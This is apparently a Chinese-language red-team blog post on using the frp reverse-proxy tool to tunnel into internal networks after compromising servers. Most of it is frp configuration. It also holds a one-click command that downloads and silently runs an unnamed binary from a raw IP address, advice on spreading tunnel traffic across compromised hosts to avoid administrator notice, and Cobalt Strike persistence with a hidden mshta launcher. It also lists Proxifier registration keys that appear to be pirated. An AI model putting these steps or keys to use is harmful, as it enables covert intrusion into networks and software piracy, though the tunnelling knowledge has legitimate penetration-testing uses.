[TOC]

0x00 前言介绍

在没有Frp穿透开源出来的时候,链接远程网络通常是采用向日葵或者TeamViewer,并且在做渗透测试的时候面对的目标常常是处于内网之中;在以往的渗透中拿到了服务器权限后,个人最常使用的内网代理方式是 reGeorg + Proxifier/proxychains,虽然是脚本代理的方式,但使用快捷方便,能够迅速访问到内部网;但是但是随着目标内网环境越来越大,这种脚本形式代理的局限性越来越明显;

描述:frp 是一个可用于内网穿透的高性能的反向代理应用(采用Go语言进行开发),支持 tcp, udp ,stcp协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透;

Frp项目地址:https://github.com/fatedier/frp

应用场景:满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网NAS,流量转发等,实现类似花生壳、ngrok等功能;

Frp工具有两端CS架构:

  • 服务端:服务端部署在我们具有公网IP的服务器上;
  • 客户端:客户端放在我们内网的服务器上;
WeiyiGeek.20191230222637188

WeiyiGeek.20191230222637188

注意事项:

  • Windows与Linux启动Frps/c的不同的是,Windows默认启动frps的配置文件绑定的端口是7000,而frpc默认启动的配置文件是frpc.ini;


0x01 安装使用

描述:到下载Frp的relases页面选择跨平台,实战中根据目标机版本选择下载:https://github.com/fatedier/frp/releases;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#以服务端为例
wget https://github.com/fatedier/frp/releases/download/v0.30.0/frp_0.30.0_linux_amd64.tar.gz
tar -zxf frp_0.30.0_linux_amd64.tar.gz -C ./frp_0.30.0 --strip-components 1

$vim ./frp_0.30.0/frps.ini #开启服务端web页面,服务端配置为:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
tls_enable = true
pool_count = 5

# IP 与 bind_addr 默认相同,可以不设置
# dashboard_addr = 0.0.0.0
# 端口必须设置,只有设置web页面才生效
dashboard_port = 7500
# 用户密码保平安
dashboard_user = WeiyiGeek
dashboard_pwd = [email protected]
# Token 防止其它客户端链接
token = [email protected]
# 允许客户端绑定的端口
allow_ports = 40000-50000

基础命令:

1
2
3
4
5
6
./frps -c ./frps.ini –reload  #热加载 
nohup ./frps -c ./frps.ini & #后台启动

#验证启动
$ps aux | grep "frp"
root 2174 0.6 0.4 114436 18460 pts/0 Sl 17:31 0:00 ./frps -c frps.ini

0x02 内网穿透

1.Socket代理转发

描述:首先最简单常用的就是socks协议代理这一功能在 frp 中是以插件的形式实现的;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#使用插件socks5代理
[socket5]
type=tcp
remote_port = 9080
plugin = socks5
#socks5连接口令 [根据实际情况进行配置]
#plugin_user = WeiyiGeek
#plugin_passwd = weiye
use_encryption = true
use_compression = true

#或者直接写客户端配置文件
echo -e "[common]\nserver_addr = 127.0.0.1\nserver_port = 7000\ntls_enable = true\npool_count = 5\n\n[plugin_socks]\ntype = tcp\nremote_port = 46075\nplugin = socks5\nplugin_user = joseph\nplugin_passwd = bnbm#yBZ90ad\nuse_encryption = true\nuse_compression = true" > delphi.ini
# 启动
nohup ./deamon -c delphi.ini &

#一键部署
wget http://103.242.135.137/3Edsr9I >/dev/null 2>&1 && chmod +x 3Edsr9I && ./3Edsr9I && rm -rf 3Edsr9I


2.UDP协议代理

描述:frp 也同时能够对 UDP 协议进行转发,配置上与 tcp 也是差不多的,基本上就是端口转发(没难度),对于UDP协议的测试我们使用比较常见的SNMP协议和DNS协议来测试;
思路:

  • 在做渗透测试的时候有时候会遇到打印机以及其它采用snmp通讯的设备,我们可以通过 snmp 协议和 惠普的 pjl 来获得敏感信息,通过 frp 隧道对公司内网打印机 10.10.65.9 进行攻击,使用的是打印机攻击框架 PRET 简单的打印一个文档;
  • 得到一台内网机器的权限后,通过扫描53端口或者其它手段找到内网的DNS服务器,接下来我们将DNS解析到指定内网服务器上,因此我们就可以通过域名访问内网服务器,也可以指定 DNS 服务器进行子域名爆破来发现更多的资产;首先对内目标网段的 53 端口进行扫描探测,扫描端口使用 TCP 协议就可以,所以先使用原先的代理扫描,
1
2
3
4
5
6
7
8
9
[dns]
type = udp
local_ip = 10.10.100.132
local_port = 53
remote_port = 40053
use_encryption = true
use_compression = true

#使用 dig 命令测试一下对 www.baidu.com 的解析,可以看得到域名成功解析到我们设定ip则内网代理成功,您也可以采用Python进行轮寻查询
WeiyiGeek.

WeiyiGeek.


3.点对点stcp与xtcp

描述:安全地暴露内网服务(secret tcp)以及 xtcp 都是frp提供的点对点传输服务;

  • xtcp:用于应对在希望传输大量数据且流量不经过服务器的场景,直接是一个 p2p 的隧道,frp 所谓的 xtcp 协议底层应该是 UDP 打洞的过程;
    • 根据官方文档这种协议不能穿透所有类型的 NAT 设备,所以穿透成功率较低,穿透失败时可以尝试 stcp 的方式
  • stcp:相当于再添加一次认证,改一次配置文件即可
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    #Client 1(被入侵的服务器)
    [p2p_socks]
    type = xtcp
    remote_port = 46075
    sk = HjnllUwX5WiRD5Ij
    plugin = socks5

    #Client 2(攻击者) - 相当于接受Server转发
    [p2p_socks_visitor]
    type = xtcp
    role = visitor
    server_name = p2p_socks
    sk = HjnllUwX5WiRD5Ij
    bind_addr = 127.0.0.1
    bind_port = 1086

流程说明:

  • 甲 <-> 公 <-> 乙 :记录客户端甲和乙的 IP 和端口信息,但是IP和端口并非甲和乙在内网的IP(外网)和随机端口,而是通过NAT方式映射到路由器上的IP和端口。
  • 客户端甲向服务器发送udp消息,请求和客户端乙通信。
  • 服务器向客户端甲发送消息,消息内容包含客户端乙的IP和端口信息。
  • 服务器向客户端乙发送消息,消息内容包含客户端甲的IP和端口信息。
  • 客户端甲根据3步骤获得的信息向客户端乙发送udp消息,同一时刻客户端乙根据3步骤获得的信息向客户端甲发送udp消息(尝试多次udp打洞就能成功)

注意事项:

  • 该打洞方案只支持 ConeNAT(锥形 NAT),不支持 Symmetric NAT (对称NAT)因此没办法能够支持全部的 NAT方式,更何况,你知道你在访问公网的时候中间经过了多少层 NAT 吗?


4.负载均衡

描述:在内网拿到了多台能够访问互联网机器,可以启用多台客户端进行负载均衡,毕竟突然从一台机器迸发出大量流量很容易引起管理员的注意,也可以负载分担一下机器的CPU资源消耗;

比如:使用两台被入侵的服务器作为负载均衡,IP分别为 10.10.99.33 和 10.10.100.81

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#Client 1/2 部分相同的点是 group/group_key/remote_port
[common]
# 远程VPS地址
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5

[plugin_socks]
# [plugin_socks_2]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = joseph
plugin_passwd = bnbm#yBZ90ad
use_encryption = true
use_compression = true
group = socks_balancing
group_key = NGbB5#8n

WeiyiGeek.负载均衡Group

WeiyiGeek.负载均衡Group


5.其它功能
  • 转发 Unix 域套接字:单个主机通信协议一般用不上
  • 对外提供文件访问服务:这估计是渗透测试工程师最不需要的功能
  • http转https:没用
  • 加密与压缩:这两个功能可以看到我都启用了
  • TLS加密:这个我也开了,安全性更高
  • 客户端UI/热加载配置/查看状态:普通情况下是可以不用的,但是前期资产发现过程需要多次配置的情况,或者上线新机器做负载均衡的时候可以使用,不过热加载还是需要等一段时间才能够生效,性子急的我表示等不了
  • 端口白名单:这里我指定了 40000-50000
  • web相关的:很多功能是为了将内网web转至公网
  • 通过代理连接 frps:在特殊情况下可能是有用的,但是暂时没用
  • 范围端口映射:这个貌似也没什么用
  • 子域名:在找到内网DNS解析服务器的情况下可以不进行配置,如果没找到,但是知道内网 IP 和域名的对应关系,且服务器只可以通过域名访问的情况下可以使用这项配置,但我觉得都不如绑个host来的快
  • KCP协议:KCP是一个快速可靠协议,能以比 TCP浪费10%-20%的带宽的代价,换取平均延迟降低 30%-40%,且最大延迟降低三倍的传输效果,在带宽很足但延迟较高的情况下可以使用 kcp 协议进行数据通信,未测试

0x03 基础配置说明

描述:主要正对于Frps服务端和客户端进行配置文件的说明;

  1. 服务端:https://github.com/fatedier/frp/blob/master/conf/frps_full.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

# [common] 通用基础参数
[common]
# Frps服务器端开放的端口
# ipv6的文本地址或主机名必须括在方括号中 如"[::1]:80"
bind_addr = 0.0.0.0
bind_port = 7000

# 双方验证token当一致时候进行绑定通讯
token = token12345678
# 允许 frpc(客户端) 绑定的端口,不设置的情况下没有限制
allow_ports = 2000-3000,3001,3003,4000-50000

#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
privilege_mode = true
#特权模式Token [强口令,建议随机生成]
privilege_token = kukezkHC8R1H
#特权模式允许分配的端口 [避免端口被滥用]
privilege_allow_ports = 4000-50000

# 如果超过最大值,每个代理中的 pool_count 将更改为 max_pool_count
max_pool_count = 5
# 每个客户端可以使用最大端口数,默认值为0,表示没有限制
max_ports_per_client = 0
# 是否使用 tcp 流多路复用,默认值为 true (C与S一致才行)
tcp_mux = true
# 心跳检测超时时长
heartbeat_timeout = 30
# 口令认证超时时间,一般不用改
authentication_timeout = 900

# udp端口帮助使udp漏洞穿透nat
# bind_udp_port = 7001
# udp端口用于kcp协议,它可以与'bind_port'相同 ,如果没有设置kcp在frps中是禁用的
# kcp_bind_port = 7000

# 设置 dashboard_addr 和 dashboard_port 用于查看 frps 仪表盘,注意只有 dashboard_port 被设定仪表盘才能生效
# IP 与 bind_addr 默认相同,可以不设置
# dashboard_addr = 0.0.0.0
dashboard_port = 7500
#设置仪表盘用户密码,用于基础认证保护,默认为 admin/admin
dashboard_user = admin
dashboard_pwd = admin
# 指示板资产目录(仅用于调试模式)
# assets_dir = ./static
# 对 http 请求设置自定义 404 页面
# custom_404_page = /path/to/404.html

# 指定哪个地址代理将监听,默认值与bind_addr相同
# proxy_bind_addr = 127.0.0.1
# 代理名, 使用 ',' 分隔 ;默认为空, 表示全部代理
# start = ssh,dns
# 在此处设置用户名后,代理名称将设置为 {用户名}.{代理名}
# user = your_name
# pass = your_pass
# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy 只支持 tcp协议
http_proxy = http://user:[email protected]:8080
http_proxy = socks5://user:[email protected]:1080

# 如果 subdomain_host 不为空, 可以在客户端配置文件中设置子域名类型为 http 还是 https 当子域名为 test 时, 用于路由的主机为 test.frps.com
# 指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]
subdomain_host = frps.com
# 如果你想支持虚拟主机,你必须设置http监听端口(可选)
# 注意:http端口和https端口可以与bind_port相同
# vhost_http_port = 80
# vhost_https_port = 443
# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s
# vhost_http_timeout = 60

# 控制台或真实日志文件路径,如./frps.log
log_file = ./frpc.log
# 日志级别分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误)
log_level = info
# 最大日志记录天数
log_max_days = 3
# 当log_file为控制台时禁用日志颜色,默认为false
disable_log_color = false
  1. 客户端:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
# [common] 是必需的
[common]
# ipv6的文本地址或主机名必须括在方括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000

# 认证 token
token = 12345678
# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps
tls_enable = true
# 用于连接到服务器的通信协议,目前支持 tcp/kcp/websocket, 默认 tcp
protocol = tcp
# 将提前建立连接,默认值为 0
pool_count = 5
# 是否使用 tcp 流多路复用,默认值为 true,必需与服务端相同
tcp_mux = true
# 决定第一次登录失败时是否退出程序,否则继续重新登录到 frps默认为 true
login_fail_exit = true


# 控制台或真实日志文件路径,如./frps.log
log_file = ./frpc.log
# 日志级别,分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误)
log_level = info
# 最大日志记录天数
log_max_days = 3


# 设置能够通过 http api 控制客户端操作的管理地址
# admin_addr = 127.0.0.1
# admin_port = 7400
# admin_user = admin
# admin_pwd = admin


# 心跳配置, 不建议对默认值进行修改
# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90
# heartbeat_interval = 30
# heartbeat_timeout = 90

# 代理名, 使用 ',' 分隔 默认为空, 表示全部代理
# start = ssh,dns
# 在此处设置用户名后,代理名称将设置为 {用户名}.{代理名}
# user = your_name
# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy 只支持 tcp协议
# http_proxy = http://user:[email protected]:8080
# http_proxy = socks5://user:[email protected]:1080

# 指定 DNS 服务器
# dns_server = 8.8.8.8

# 'ssh' 是一个特殊代理名称
[ssh]
# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 默认为 false
use_encryption = false
# 是否压缩
use_compression = false
# 服务端端口
remote_port = 6001
# frps 将为同一组中的代理进行负载平衡连接
group = test_group
# 组应该有相同的组密钥
group_key = 123456
# 为后端服务开启健康检查, 目前支持 'tcp' 和 'http'
# frpc 将连接本地服务的端口以检测其健康状态
health_check_type = tcp
# 健康检查连接超时
health_check_timeout_s = 3
# 连续 3 次失败, 代理将会从服务端中被移除
health_check_max_failed = 3
# 健康检查时间间隔
health_check_interval_s = 10

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 为 0 ,frps 将为您分配一个随机端口,设置为其它端口则是frps服务器地址:2222
remote_port = 2222

# 如果要暴露多个端口, 在区块名称前添加 'range:' 前缀
# frpc 将会生成多个代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false

[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false

[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false

# 将域名解析到 [server_addr] 可以使用 http://web01.yourdomain.com 访问 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 协议认证
http_user = admin
http_pwd = admin
# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01]
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 仅可用于HTTP类型
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 将会发送一个 GET http 请求 '/status' 来定位http服务
# http 服务返回 2xx 状态码时即为存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3

[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2

#插件掩饰
[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock

[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc

[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1

[secret_tcp]
# 如果类型为 secret tcp, remote_port 将失效
type = stcp
# sk 用来进行访客认证
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

# 访客端及服务端的用户名应该相同 (frpc的角色访客)
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要访问的服务器名称
server_name = secret_tcp
sk = abcdefg
# 将此地址连接到访客 stcp 服务器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false

[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false

[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false


0x04 进阶配置

1.后台启动

描述:我们为了不每次重启机器后都需要手动的进行打开frp服务或者说客户端,我们需要将其作为服务进行运行,主要针对于Windows和Linux进行操作;

  • Linux 后台运行方式
    方式1:后台运行启动(加入到/etc/init.d/中即可)
1
2
3
4
5
#nohup COMMAND &  (& : 指在后台运行 , nohup : 不挂断的运行,注意并没有后台运行的功能) 
#注意:nohup没有后台运行的意思;&才是后台运行
nohup /path/fprs -c /path/frps.ini > /tmp/frps.logs&
#验证启动
ps -ef|grep frps 或者 lsof -i:7000

方式2:服务启动方式(可以使用systemctl的方式管理frps)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
touch /lib/systemd/system/frps.service
cat >> /lib/systemd/system/frps.service <<EOF
[Unit]
Description=Frps Service
After=network.target syslog.target
Wants=network.target

[Service]
Type=simple
#启动服务的命令(此处写你的frps的实际安装目录)
ExecStart=/your/path/frps -c /your/path/frps.ini

[Install]
WantedBy=multi-user.target

方式3:使用supervisor来控制

1
2
3
4
5
6
7
8
9
10
11
12
13
#安装supervisor
sudo apt install supervisor #Ubuntu

#创建 supervisor frps 配置文件,在 /etc/supervisor/conf.d 创建 frp.conf
[program:frp]
command = /your/path/frps -c /your/path/frps.ini
autostart = true

#重新加载一下supervisor
#重启supervisor
sudo systemctl restart supervisor
#查看supervisor运行状态
sudo supervisorctl status

  • Windows服务自启动
    方式1:bat方式放入Windows启动目录

    1
    2
    3
    4
    5
    6
    7
    @echo off
    Title Frps
    d:\frps\frps.exe -c frps.ini

    #Win7~10
    C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\Users\WEIYIG~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    方式2:服务启动项(将bat打包或者直接利用其它编程语言调用)

    1
    2
    #sc 命令services.msc进行设置与计划任务相互检测
    sc create FrpServer binpath= F:\frpsConfig.exe type= own start= auto displayname= FrpServer

    方式3:计划任务在系统启动时(登录前)运行frpc

    1
    2
    3
    4
    5
    #创建任务->唱歌->触发器->操作添加参数
    # 方式1: client
    cmd /c "start /b frpc.exe -c frpc.ini" #起始直接运行默认就是以frpc.ini为默认文件
    # 方式2: Server 起始于 F:\Temp\frp\
    powershell.exe Start-Process "frps.exe" -ArgumentList '-c frps.ini'

    WeiyiGeek.


0x05 联合使用

描述:Frp可以很好的与Cobalt Strike和MSF联合使用,进行后渗透测试;

    1. CS 持续维权
      1
      2
      3
      4
      5
      6
      7
      8
      9
      beacon> sleep 10
      beacon> execute c:/frpc.exe -c c:/frpc.ini
      beacon> shell netstat -ano |findstr 7007

      @echo off
      if "%1" == "h" goto begin
      mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
      :begin
      calc.exe
    1. MSF方式:
      当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器若socks5设置口令,可结合proxychains
      1
      2
      3
      4
      5
      6
      sudo msfconsole -q
      msf5 > setg proxies socks5:frp.xxxx.online:9066 #proxies 实用
      msf5 > use auxiliary/scanner/smb/smb_ms17_010
      msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
      msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178
      msf5 auxiliary(scanner/smb/smb_ms17_010) > run
  • 其它Proxy全局流量代理软件结合实用(shadowsocks/Proxifier/proxychains(Kail))

    • SSTap官方网址:https://www.sockscap64.com/
      1
      2
      3
      4
      5
      6
      7
      #SSTap下载地址:https://www.i5seo.com/1/SSTap.7z
      Setup file MD5: 3a22361e0a94db8c42dfedb25a890688
      Setup file SHA1: 4C82004B53ED569AB45078CDCC55DA7B50FEDA8C

      certutil -hashfile .\SSTap-beta-setup-1.1.0.1.exe SHA1
      SHA1 的 .\SSTap-beta-setup-1.1.0.1.exe 哈希:
      4c82004b53ed569ab45078cdcc55da7b50feda8c
    • Proxifier 全局流量转发软件(需要进注册使用)
      1
      2
      3
      4
      5
      6
      7
      Windows便携版:官网地址:https://www.proxifier.com/distr/ProxifierSetup.exe
      Windows安装版:官网地址:https://www.proxifier.com/distr/ProxifierSetup.exe

      #注册码
      5EZ8G-C3WL5-B56YG-SCXM9-6QZAP
      G3ZC7-7YGPY-FZD3A-FMNF9-ENTJB
      YTZGN-FYT53-J253L-ZQZS4-YLBN9

总体思路: 一个中心三个辅助,CS总控中心, frp 作为数据通信隧道, ,proxychains 代理服务,msf/NMAP进行扫描攻击获取 session 后再转给 CS;


0x06 总结

描述:Frp与reGeorg之间的比较说明;

  • 利用难度:前者需要获取机器执行命令的权限,后者需要上传专用的Shell到网站中(常用)
  • 利用环境: 前者要求入侵服务器能够访问外部网络以及需要一台公网IP的服务器运行服务端,后者不需要就如同正反向 shell 的差别
  • 功能对比: 前者提供提供繁多功能,后者代理访问内网但是相比弱爆了;
  • 性能对比: 从 frp 支持负载均衡和点对点传输上简直完爆其他内网穿透工具;